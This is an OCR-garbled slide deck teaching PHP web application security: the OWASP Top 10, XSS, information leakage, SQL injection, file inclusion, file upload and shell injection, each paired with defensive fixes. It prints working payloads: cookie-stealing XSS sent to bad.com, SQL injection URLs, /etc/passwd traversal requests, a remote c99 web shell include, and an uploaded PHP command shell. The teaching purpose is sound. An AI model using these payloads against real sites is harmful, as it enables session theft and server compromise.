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OVERVIEW

Web Application Security is a vast topic
and time is not enough to cover all kind
of malicious attacks and techniques for
avoiding them, so now we will focus on

top 10 high level vulnerabilities.

Web developers work in different ways
using their custom libraries and
intruder prevention systems and now

we will see what they should do and

should not do based on best practices.
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OWASP TOP 10

Al-Injection

Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command
or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing unauthorized
data.

A2-Cross Site
Scripting (XSS)

XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation and
escaping. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or
redirect the user to malicious sites.

A3-Broken
Authentication
and Session
Management

Application functions related to authentication and session management are often not implemented correctly, allowing attackers
to compromise passwords, keys, session tokens, or exploit other implementation flaws to assume other users’ identities.

Ad-Insecure
Direct Object
References

A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file,
directory, or database key. Without an access control check or other protection, attackers can manipulate these references to
access unauthorized data.

A5-Cross Site
Request Forgery
(CSRF)

A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the victim's session cookie and any
other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the
victim’s browser to generate requests the vulnerable application thinks are legitimate requests from the victim.

A6-Security
Misconfiguration

Good security requires having a secure configuration defined and deployed for the application, frameworks, application server,
web server, database server, and platform. All these settings should be defined, implemented, and maintained as many are not
shipped with secure defaults. This includes keeping all software up to date, including all code libraries used by the application.

A7-Insecure
Cryptographic

Many web applications do not properly protect sensitive data, such as credit cards, SSNs, and authentication credentials, with
appropriate encryption or hashing. Attackers may steal or modify such weakly protected data to conduct identity theft, credit

Storage card fraud, or other crimes.
AB-Failure to ||Many web applications check URL access rights before rendering protected links and buttons. However, applications need to
Restrict URL |[perform similar access control checks each time these pages are accessed, or attackers will be able to forge URLs to access
Access these hidden pages anyway.

A9-Insufficient
Transport Layer
Protection

Applications frequently fail to authenticate, encrypt, and protect the confidentiality and integrity of sensitive network traffic. When
they do, they sometimes support weak algorithms, use expired or invalid certificates, or do not use them correctly.

A10-Unvalidated
Redirects and
Forwards

Web applications frequently redirect and forward users to other pages and websites, and use untrusted data to determine the
destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to
access unauthorized pages.

Rt s /lwww.owasp.ora/index.ohp/Top 10 2010-Main




HIGH LEVEL VULNERABILITIES

1. Cross-Site Scripting (XSS)

2. Information leakage

3. SQL Injection

4. Local/Remote File Inclusion
5. Unrestricted File Upload

6. Shell injection



' CROSS-SITE SCRIPTING

 DESCRIPTION:

Cross-Site Scripting is a type of web
application vulnerability when attacker
injects his executable code (Javascript,
HTML, etc.) into a vulnerable webpage.

EXAMPLE:

http://site.com/search.php?
| g=<script>alert(“XSS”)</script>
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[ CROSS-SITE SCRIPTING

* TYPES:
1. Non-Persistent

2. Persistent

1.Non-Persistent:

In this type of XSS vulnerability an attacker is
able to execute his own code into a
webpage but no changes can be done in that

| website.



' CROSS-SITE SCRIPTING

Non-Persistent

EXAMPLE:

http://www.site.com/viewtopic.php?
id=4"><script>document.location="http://
bad.com/logger.phpo?
cookie="+document.cookie;</script>

| OR
. http://www.site.com/viewtopic.php?
| id=4"><script>document.write(“<img
‘ src="http://bad.com/logger.php?cookie="+
' document.cookie+”’/>");</script>



' CROSS-SITE SCRIPTING

2.Persistent:

In this case attacker stores his executable
script in the vulnerable website database
which is being executed every time webpage
is showing the data.

| Common targets are:
L + Comments

~ * Chat messages
 « E-mail messages
* Wall posts, etc.



| CROSS-SITE SCRIPTING

Persistent
EXAMPLE:

Mike Coles says:
July 22, 2008 at 1:59 am

I like the new look and feel of this blog. )

Reply

ATTALKEHN says:
July 25, 2008 at 5:19 pm

\ and I like the way this website developers work..hahaha :D :D

Reply

http://www.youtube.com/watch?v=ys6pUis-Wfw



CROSS-SITE SCRIPTING

Persistent

Comment in raw format:

. and | like the way this website developers
| work..hahaha :D :D

| <SCRIPT/XSS
| SRC="http://bad.com/xss.js">
/SCRIPT>



CROSS-SITE SCRIPTING
~ Potentially Dangerous HTML elemets:

e<applet> TAGS <iframe>
<body> <img>
<embed> e<style>
<frame> <layer>
e<script> <ilayer>
. *<frameset> <meta>
*<html|> *<object> ,etc.
ATTRIBUTES

src, href, lowsrc, xmlns, style, etc.



CROSS-SITE SCRIPTING

Potentially Dangerous HTML events:

*all H-TML events

*Onblur *Onmouseover
*Onchange *Onmousemove
*Onclick *Onmove
*Ondrag *Onresize

~ *Onerror *Onselectstart

 *Onfocus *Onselect

. *Onkeypress *Onsubmit

*Onkeyup *Onunload

*Onload *Onscroll, etc.



CROSS-SITE SCRIPTING

SOLUTIONS:

Input sanitization

* PHP function strip_tags()
* PHP Input Filter

* PHP libraries:

* HTML_Safe

* htmLawed

* kses
e Safe HTML Checker, etc.

Output sanitization
* PHP function htmlentities()




BEST SOLUTION :@ E!

OWASP HTML Purifier

* SAFE

HTML Purifier defeats XSS with an audited
whitelist

 CLEAN

HTML Purifier ensures standards-compliant
output

* OPEN

HTML Purifier is open-source and highly
customizable
[




BEST SOLUTION :@ E!

COMPARISON:
Library Whitelist Removal Well-formed

striptags Yes (user) Buggy No

PHP Input Filter ~ Ves (user) Yes No
HTML_Safe ‘Mostly No Yes Yes

kses Yes (user) Yes No

htmLawed Yes (not default) Yes (user) Yes (user)

Safe HTML Checker Yes (bare) Yes Yes

HTML Purifier Yes Yes Yes

Source: www.htmlpurifier.org/comparison




BEST SOLUTION :@E!

COMPARISON:

Library N Attributes XSS safe Standards safe

striptags

PHP Input Filter Partial

HTML_Safe Partial Probably

kses Partial Probably
htmLawed Partial  Partial Probably

Safe HTML Checker Almost ~ Partial Yes Almost
HTML Purifier ~ Yes  Yes Yes Yes

Source: www.htmlpurifier.org/comparison
]




" INFORMATION LEAKAGE

* DESCRIPTION:

Information Leakage is an application
weakness where an application reveals
sensitive data, such as technical details
of the web application, environment, or
user-specific data.

EXAMPLE:
sosasta.com



" INFORMATION LEAKAGE
~ « CAUSES OF:

1. Directory listing misconfiguration
2. Improper error handling

3. Improper filetype handling

4. Sensitive HTML comments, etc.

1.Directory listing misconfiguration:

. Leaving directory listing enabled allows the
| attacker to read the list of all files in a
| directory.



INFORMATION LEAKAGE

Directory listing misconfiguration

 EXAMPLE:
http://www.site.com/admin/

e Parent Directory
o FCKeditor!

® banner/

e ckeditor 3.3.1/
o files/

e left menu.php
> maiing]

e main.php

* menw/

® news/

e pictures/

® users/

e welcome.php




INFORMATION LEAKAGE

2.Improper error handling:

Because of Improper error handling all the
unexpecting requests will generate error
messages which will be visible to the
attacker.

EXAMPLE:

- Warning: mysql_fetch_object():

| supplied argument is not a valid

| MySQL result resource in /home/aes/
public_html/news/list.php on line 81



' INFORMATION LEAKAGE
| 3.Improper filetype handling:

Improper filetype handling allows vyour
important files to be readable by the
attacker.

|+ EXAMPLE:

|« sql backup.tar.gz
* memberlist.xml
* phpinfo.html

- » dbClass.inc
* Login.php.bkp
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[ INFORMATION LEAKAGE
| Improper filetype handling

e EXAMPLE:
dbClass.inc

private Shost = "localhost";
private Susr = “root”;

- private Spwd = “i7kTOwW*;
public Sdb ="brav_new";

| public function Connect(){ ... }



INFORMATION LEAKAGE

4. Sensitive HTML comments:

Notes left by web developers may content
important information which will cause of

the information leakage.

EXAMPLE:

<form enctype="multipart/form-data"
action="upload.php" method="POST">
. <l--check for filetypes php, cgi, pl, bat,
exe, dll, reg-->
. <input name="upload_file"

type="file" />



BEST SOLUTION :@ E!

Directory listing misconfiguration
A. put a blank file named index.html in that
directory.

B. put a file named .htaccess in that directory
consisting of only this line:
Options —indexes

NOTE: all sub-directories of that directory will
also get their directory listings turned off.




BEST SOLUTION :@ E!

Improper error handling

A. The following configurations should be done in
php.ini file:

* error_reporting =E_ALL
e display errors = Off
* log errors =0n

* error_log = path/PHP_errors.log //any file in
which the web server has write privileges.




BEST SOLUTION

Improper error handling

B. Create an .htaccess file in public_html directory

with the following lines:
php flag display_errors off

php_flag log _errors on

php_value error_log path/PHP_errors.log
<Files path/PHP_errors.log>

Order allow,deny

Deny from all
Satisfy All

</Files
B ————




BEST SOLUTION :@ E!

Improper filetype handling

A. Don’t keep your important files with the
following extentions in your public web
directory if you don’t link to them in the
website:

e Compressed files(*.zip, *.rar, *.tar.gz, etc.)
e Database files(*.sql, *.cvs, *.xml, *.xls, etc.)

 Unknown files(*.inc, *.copy, *.bkp, etc.)




BEST SOLUTION :@ E!

Improper filetype handling

B. If you have a reason to keep those files in your
web public directory, create an .htaccess file in
that directory with the following lines of code:

<Files ~ "\.(inc|sql)S">
order allow,deny
deny from all
</Files>




BEST SOLUTION :@ E!

Sensitive HTML comments

A. No sensetive HTML comment must be used in a
website as every user will be able to view the
webpage source code.




'SQL INJECTION

* DESCRIPTION:

This is a type of vulnerability when
attacker injects his custom SQL query
to the request to get sensetive data
from the database, read or write a

file.
« EXAMPLE:

. http://site.com/product.php?id=4+AND
- +1=2+UNION+SELECT+0,database(),1,2+--



SQL INJECTION

* TYPES:

1. Normal
2. Blind

1.Normal:

In this type of SQL Injection vulnerability
attacker sends a custom SQL query and gets
the output in the screen.



SQL INJECTION

Normal SQL Injection

* EXAMPLE:

http://site.com/product.php?id=1348+AND
+1=2+union+select+1,2,user(),database(),

5,version(),7+--

> Product Details
Product In : ALL \ Bonnel Spring Mattresses » slp_admingg217.121.4.22

 slp_store

' 5.0.67-log
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| SQL INJECTION

2.Blind:

This type of injection is identical to normal
SQL Injection except that the SQL query
returns positive or negative response.

* EXAMPLE:
- http://site.com/view.php?page=10+
| and+substring(@ @version,1,1)=5+--



SQL INJECTION

SOLUTIONS:

* PHP.ini configuration
* magic_quotes_gpc = on
* PHP functions
e filter var()
* mysql_real escape string()
| * sprintf()
| « Put variables into the quotes(e.g:
Sid’)

* Assign min privilages for mysql users



BEST SOLUTION :@ E!

GreenSQL open source database firewall
* Activity monitoring and audit

e User rights management

e Real-time database protection

* |ntrusion preventation(IPS)

e Database caching

* Encrypted comunication over SSL
* Virtual patching

* Reporting




BEST SOLUTION

GreenSQL open source database firewall

Internal Applications Threats

Extcrnall -w- ‘ '
GreenSQL
M Unified Database Security
“ ’ Database er

Privileged User Threats

Source: www.greensql.net




FILE INCLUSION

* DESCRIPTION:

This type of web application
vulnerability allows an attacker to
include local or remote file into the
vulnerable webpage.

EXAMPLE:

| http://site.com/view.php?

| file=./ /oo ] ] ] ] ] ] ] ] ] et
- passwd%00
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[ FILE INCLUSION

* TYPES:

1. Local
2. Remote

| 1.Local File Inclusion:

This type of inclusion is used to include
- local files. Mostly used for server
| configuration files such as system
s._lusers information, filesystem
structure, etc.



" FILE INCLUSION
" LOCAL FILE INCLUSION

* EXAMPLE:

http://site.com/include.php?

file=../../..[..[..[..[]..]..]..]..]..]..]..[etc/
passwd%00

root:*:0:0:Super User:/root:/bin/csh daemon:*:
1:1:Daemon:/nonexistent:/sbin/nologin operator:*:
2:5:0perator:/nonexistent:/sbin/nologin bin:*:3:7:Binaries:/
nonexistent:/sbin/nologin tty:*:4:65533:tty Sandbox:/
nonexistent:/sbin/nologin kmem:*:5:65533:kmem Sandbox:/
nonexistent:/sbin/nologin games:*:7:13:Games:/

. nonexistent:/sbin/nologin news:*:8:8:News Subsystem:/
 nonexistent:/sbin/nologin man:*:9:9:Man Pages:/
nonexistent:/sbin/nologin ftp:*:14:5:Anonymous FTP
Admin:/usr/ftp:/nonexistent



FILE INCLUSION

2.Remote File Inclusion:

Unlike the local file inclusion this is
used to include remote scripts such as
web shells which is more dangerous
than the previous one.

. Main goals:
| * Remote code execution

e Remote root kit installation and
complete system compromise

ool
[ o

* etc.



FILE INCLUSION
REMOTE FILE INCLUSION

 EXAMPLE:
http://site.com/include.php?file=

htp://bad.com/
c99 shell.php&act=Is&dir=%2Fvar

Liting folder (92 files and 1 folders)

Name Bize Modify Ouner(Group ~ Perms
P LINK 11.09.2006 134507 roof/root dryRe-Hr-

'§ LINK LL,09.2000 13:d6ide rootroct dryme-Ke-4

F system)] IR L503.2008 12:26:01 rotroot dr-Hr-X

L 10.0.0.8%-hdsday png LaokE  19.03.2006 12:204d roof/rot s



FILE INCLUSION

VULNERABLE PHP CODES
* <?php include(S_GET['file']); ?>
o <?phpinclude(S_GET['file'].".htm"); ?>
* <?php
include("includes/".S_GET['file']);
7>

* <Pphp
‘ include("includes/".$_GET['file'].".htm");



FILE INCLUSION

COMMON EXPLOITS/REQUESTS

*file=../../../../..]..]..]..]../]etc/passwd
*file=../../../../../..]..]..]../var/lib/locate.db
*file=../../../../..]..]..]..]../var/log/apache/error.log
*file=../../../..[..]..]..]..]../etc/passwd %00
*file=../../..]..]..[..]..]..]../var/www/accounts/%00
. ?file=http://bad.com/xss.php?xss=phpcode
?file=http://bad.com/shell.txt
*file=data://text/plain;base64,SUSKRUNURUQ=
Pfile=../../..0..0..[..[..[..[..[etc/passwd . \.\. LA

etc.



FILE INCLUSION

COMMON METHODS OF ATTACK

* Hostile data being uploaded to session
files, log data, and via image uploads

* Using compression or audio streams, such
as zlib:// or ogg://(allow _url_fopen/
allow_url_include may be disabled)

* Using PHP wrappers, such as php://input

L« Using PHP’s data: wrapper, such as
. data:;base64,PD9waHAgcGhwaW5mbygp
Oz8+

* etc.
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FILE INCLUSION

POTENTIALLY DANGEROUS PHP FUNCTIONS
* include()/include_once()

* require()/require_once()
* file_get_contents()

* fopen()

* file()

* copy()

L« unlink()

| *+ upload_tmp_dir()

'+ move_uploaded_file()

I« imagecreatefromXXX()



BEST SOLUTION

e Use whitelisted filenames or allow only valid file
name characters (e.g: /A((?:\.)(?I\.)) [\w)+S/)

* Modify the php.ini configuration file:

register globals = Off
magic_quotes _gpc = 0n
allow_url _fopen = Off
allow_url_include = Off

* Do not use any of the potentially dangerous PHP
functions(previous slide) without filtering user input




UNRESTRICTED FILE UPLOAD

* DESCRIPTION:

This vulnerability of a web application
allows attacker to upload malicious files
to the server. Most of the time those files
are web shell scripts to take control over
your web server.

EXAMPLE:

. SusrFile = S_FILES[‘userfile’][‘name’];

. SuploadFolder= "uploads/";
if(move_uploaded_file(SusrFile,SuploadFolder))
{ echo “File has been successfully uploaded.”;

} else{ echo “Error. Please try again!"; }



/' UNRESTRICTED FILE UPLOAD

EXAMPLE:
POST /uploadl.php HTTP/1.1

Content-Type: multipart/form-data; boundary=xYzZY
--xYzZY

Content-Disposition: form-data; name="userfile";
filename="shell.php"

Content-Type: text/plain

<?php

system(S_GET['command']);

L 7>

| --xYzZY—

| HTTP/1.1 200 OK

File has been successfully uploaded.



UNRESTRICTED FILE UPLOAD

COMMON MISTAKES:

* Using blacklist for file extensions
Checking only for *.php,*.cgi,..,*.exe, etc. extentions

* Checking only the mime type
Checking only the content of S_FILES[file’][‘type’]

* Improper check of double extensions
Improperly checking for the files such as *.php.jpg,
*.php.xyz, *.asp.1234, etc.

* Checking only the image header
Relying only on PHP functions such as getimagesize()

* Checking filetype in filename

Checking content of the filename after the last dot(.)
* etc.



BEST SOLUTION :@ E!

* Define an .htaccess file that will only allow access to
files with allowed extensions. This will also prevent
double extension attacks.

deny from all

<Files ~ "Mw+\.(gif| jpe?g|png)$">
order deny,allow

allow from all

</Files>




BEST SOLUTION

* Prevent overwriting of existing files (to prevent
the .htaccess overwrite attack).

* Create a list of accepted mime-types (map
extensions from those mime types).

e Generate a random file name and add the
previously generated extension.

* Don’t rely on client-side validation only, since it is
not enough. Ideally one should have both server-
side and client-side validation implemented.
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| SHELL INJECTION

* DESCRIPTION:

Shell Injection is a web application
vulnerability which allows an
attacker to execute shell commands
in the web server.

e EXAMPLE:
. http://site.com/manage.php?action=id
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| SHELL INJECTION

* EXAMPLE:
http://site.com/delete.php?file=/

delete.php
<?php
Sfile =S GET[‘file’];
echo 'erasing ' . Sfile . ‘<br />’;
system(“rm -Rf Sfile”) ;
echo ‘done’;
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| SHELL INJECTION

POTENTIALLY DANGEROUS PHP FUNCTIONS

* shell _exec()  show source()
e exec() e proc_open()
(backticks) e parse_ini_file()
e system() e etc.
e passthru()

| * eval()

|+ popen()

|« curl_exec()
o curl_multi_exec()



BEST SOLUTION

* Disable all the potentially dangerous PHP functions
You should disable all the potentially dangerous PHP
functions in php.ini configuration file which you don’t use:

disable functions=system,exec,etc.

* Allow only whitelisted commands to be used

You may have a list of non-dangerous commands which will
be allowed

e Use PHP built-in function to escape the user input

Use functions such as escapeshellarg() and escapeshellcmd()

to escape the user input.
-




Self Test

« Use web application vulnerability
tools before doing a release of the
product

— Skipfish

— Netsparker

— NIKTO

| - N-stalker

— Paros

| — w3af

ipedia.org/wiki/Web_application_security_scanner



THANK YOU!!

rohit@clubhack.com
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